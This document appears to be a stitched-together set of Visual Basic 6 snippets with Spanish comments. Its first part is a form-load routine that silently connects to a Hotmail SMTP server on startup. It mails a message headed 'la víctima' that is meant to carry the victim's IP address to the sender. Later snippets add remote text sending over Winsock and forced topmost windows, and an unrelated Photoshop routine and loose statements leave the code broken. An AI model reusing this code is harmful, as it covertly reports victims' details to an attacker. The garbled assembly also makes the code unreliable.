Private Sub Form_Load()
On Error Resume Next ' Detector de Errores Activado
 If Sock1.State <> 0 Then ' Si tiene una conexion abierta
  Sock1.Close ' Cerrar la conexion
 End If
Sock1.RemoteHost = "mx2.hotmail.com" ' Le digo cual es el Servidor de SMTP, por razones que desconozco este server ya no funciona
 Sock1.RemotePort = 25 ' El puerto a donde conectarse (SMTP)
Sock1.Connect ' Intenta la conexion...
 Enter = Chr(13) + Chr(10) ' Inicializo la variable global Enter
End Sub

Private Sub Sock1_Connect()
 On Error Resume Next ' Detector de Errores Activado
 Sock1.Tag = 1 ' Pongo que voy en el paso 1
 Sock1.SendData "HELO " & "reydelmundo11" & Enter ' Le envio un comando al Servidor y 1 Enter
End Sub

Private Sub Sock1_DataArrival(ByVal bytesTotal As Long)
 On Error Resume Next ' Detector de Errores Activado
 Sock1.GetData Datos, vbString ' Recibir en Datos

 
 If Mid(Datos, 1, 9) = "550 Relay" Then ' Revisar si permite Relay
'el servidor no deja mandar los datos sin cuenta de correo en ese caso desconectamos
  Sock1.Close ' Cerrar conexion
  Sock1.Tag = 0 ' Digo que ya se acabo
 End If
 
 If Sock1.Tag = 1 Then ' Si voy en el paso 1
  Sock1.SendData "RSET" & Enter ' Le envio RSET
  Sock1.Tag = 2 ' Digo que voy al siguiente paso
  GoTo fin ' Ir al final
 End If
 If Sock1.Tag = 2 Then ' Si voy en el paso 2
  Sock1.SendData "MAIL FROM: <" & MiMail & ">" & Enter ' Le envio MiMail mi mail es una varible asegurate de tenerla definida 
  Sock1.Tag = 3 ' Digo que voy al siguiente paso
  GoTo fin ' Ir al final
 End If
 If Sock1.Tag = 3 Then ' Si voy en el paso 3
  Sock1.SendData "RCPT TO: <" & ParaMail & ">" & Enter ' Le envio ParaMail  También es otra varialbe
  If CCMail <> "-" Then ' Si tiene para un Mail CC (con copia, creo)
   Sock1.SendData "RCPT TO: <" & CCMail & ">" & Enter ' Le envio CCMail  también es otra es para enviarlo a mas gente
  End If
  Sock1.Tag = 4 ' Digo que voy al siguiente paso
  GoTo fin ' Ir al final
 End If
 If Sock1.Tag = 4 Then ' Si voy en el paso 4
  Sock1.SendData "DATA" & Enter ' Aqui le envio DATA (Empieza el mail)
  Sock1.Tag = 5 ' Digo que voy al siguiente paso
  GoTo fin ' Ir al final
 End If
 If Sock1.Tag = 5 Then ' Si voy en el paso 5
  Sock1.SendData "To: " & ParaMail & Enter ' Le envio para quien va la variable otra vez
 Sock1.SendData "From: " & "reydelmundo11" & " <" & MiMail & ">" & Enter ' El Nombre reydelmundo11 y MiMail
  Sock1.SendData "Subject: " & "la víctima" & Enter ' El Subject (Titulo)
  Sock1.SendData Enter ' Un Enter indica que empieza el Mensaje
  Sock1.SendData "Aqui vendría la ip y todo eso" & Enter ' Le envio el Mensaje
Sock1.SendData "." & Enter ' Esto indica fin del mail
  Sock1.Tag = 6 ' Digo que voy al siguiente paso
  GoTo fin ' Ir al final
 End If
 If Sock1.Tag = 6 Then ' Si voy en el paso 6
  Sock1.SendData "QUIT" & Enter ' Le indico que cierre la conexion
  Sock1.Tag = 7 ' Digo que voy al ultimo paso
  GoTo fin ' Ir al final
 End If
 If Sock1.Tag = 7 Then ' Si voy en el paso 6
  Sock1.Tag = 0 ' Digo que ya se acabo
  Sock1.Close ' Cierro la conexion
'ya lo hemos enviado

  GoTo bien ' Ir al final
 End If
bien:

End Sub

Private Sub Command1_Click()

Dim appRef As New Photoshop.Application
Dim docRef As Photoshop.Document
Dim selRef As Photoshop.Selection
Dim strokeColor As Photoshop.SolidColor
Dim fillColor As Photoshop.SolidColor

appRef.DisplayDialogs = psDisplayNoDialogs
appRef.Preferences.RulerUnits = psInches

If (appRef.Documents.Count > 0) Then
    
    Set docRef = appRef.ActiveDocument
    Set selRef = docRef.Selection

    docRef.ActiveLayer = docRef.Layers(1)
    
    Set strokeColor = CreateObject("Photoshop.SolidColor")
    
    With strokeColor
        .CMYK.Cyan = 0
        .CMYK.Magenta = 0
        .CMYK.Yellow = 0
        .CMYK.Black = 100
    End With
    
    selRef.Stroke strokeColor, Width:=10
    
    Set fillColor = CreateObject("Photoshop.SolidColor")
    
    With fillColor
        .RGB.Red = 255
        .RGB.Green = 0
        .RGB.Blue = 0
    End With
    
    selRef.Fill fillColor
    
Else
End If

End Sub

en las propiedaades del form pones borderstyle "none"

Private Sub Text1_KeyDown(KeyCode As Integer, Shift As Integer)
On Error Resume Next

If KeyCode = 13 Then
Form1.Winsock1.SendData text1.text

End If
End Sub

Option Explicit



Private Declare Function SetWindowPos Lib "User32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Const HWND_TOPMOST = -1
Const HWND_NOTOPMOST = -2
Const SWP_NOSIZE = &H1
Const SWP_NOMOVE = &H2
Const SWP_FLAGS = SWP_NOMOVE Or SWP_NOSIZE




















Const valorDock As String = "enPicDock"
Private Declare Function SetParent Lib "User32" _
    (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long
Private Enum eShowWindow
    HIDE_eSW = 0&
    SHOWNORMAL_eSW = 1&
    NORMAL_eSW = 1&
    SHOWMINIMIZED_eSW = 2&
    SHOWMAXIMIZED_eSW = 3&
    MAXIMIZE_eSW = 3&
    SHOWNOACTIVATE_eSW = 4&
    SHOW_eSW = 5&
    MINIMIZE_eSW = 6&
    SHOWMINNOACTIVE_eSW = 7&
    SHOWNA_eSW = 8&
    RESTORE_eSW = 9&
    SHOWDEFAULT_eSW = 10&
    MAX_eSW = 10&
End Enum

Private Declare Function ShowWindow Lib "User32" _
    (ByVal hwnd As Long, ByVal nCmdShow As eShowWindow) As Long
Private Declare Function MoveWindow Lib "User32" _
    (ByVal hwnd As Long, ByVal X As Long, ByVal Y As Long, _
    ByVal nWidth As Long, ByVal nHeight As Long, ByVal bRepaint As Long) As Long
Private Type POINTAPI
    X As Long
    Y As Long
End Type
Private Type RECTAPI
    Left As Long
    Top As Long
    Right As Long
    Bottom As Long
End Type
Private Type WINDOWPLACEMENT
    Length As Long
    Flags As Long
    ShowCmd As Long
    ptMinPosition As POINTAPI
    ptMaxPosition As POINTAPI
    rcNormalPosition As RECTAPI
End Type
Private Declare Function GetWindowPlacement Lib "User32" _
    (ByVal hwnd As Long, ByRef lpwndpl As WINDOWPLACEMENT) As Long
    
    
    
    
    
    Private Sub MiFuncionDeAjuste(Formulario As Form, Estado As Boolean)
Dim retorno As Long
If Estado = True Then
retorno = SetWindowPos(Formulario.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_FLAGS)
Else
retorno = SetWindowPos(Formulario.hwnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_FLAGS)
End If
End Sub
    
    
    
    
    
    
    
    

Private Sub dockForm(ByVal formhWnd As Long, _
                     ByVal picDock As PictureBox, _
                     Optional ByVal ajustar As Boolean = True)
    Call SetParent(formhWnd, picDock.hwnd)
    posDockForm formhWnd, picDock, ajustar
    Call ShowWindow(formhWnd, NORMAL_eSW)
End Sub

Private Sub posDockForm(ByVal formhWnd As Long, _
                        ByVal picDock As PictureBox, _
                        Optional ByVal ajustar As Boolean = True)
    Dim nWidth As Long, nHeight As Long
    Dim wndPl As WINDOWPLACEMENT
    '
    If ajustar Then
        nWidth = picDock.ScaleWidth \ Screen.TwipsPerPixelX
        nHeight = picDock.ScaleHeight \ Screen.TwipsPerPixelY
    Else
        Call GetWindowPlacement(formhWnd, wndPl)
        With wndPl.rcNormalPosition
            nWidth = .Right - .Left
            nHeight = .Bottom - .Top
        End With
    End If
    Call MoveWindow(formhWnd, 0, 0, nWidth, nHeight, True)
End Sub


Private Sub Form_Load()

End Sub

Private Sub Timer2_Timer()
MiFuncionDeAjuste Me, True
End Sub

Me.WindowState = 2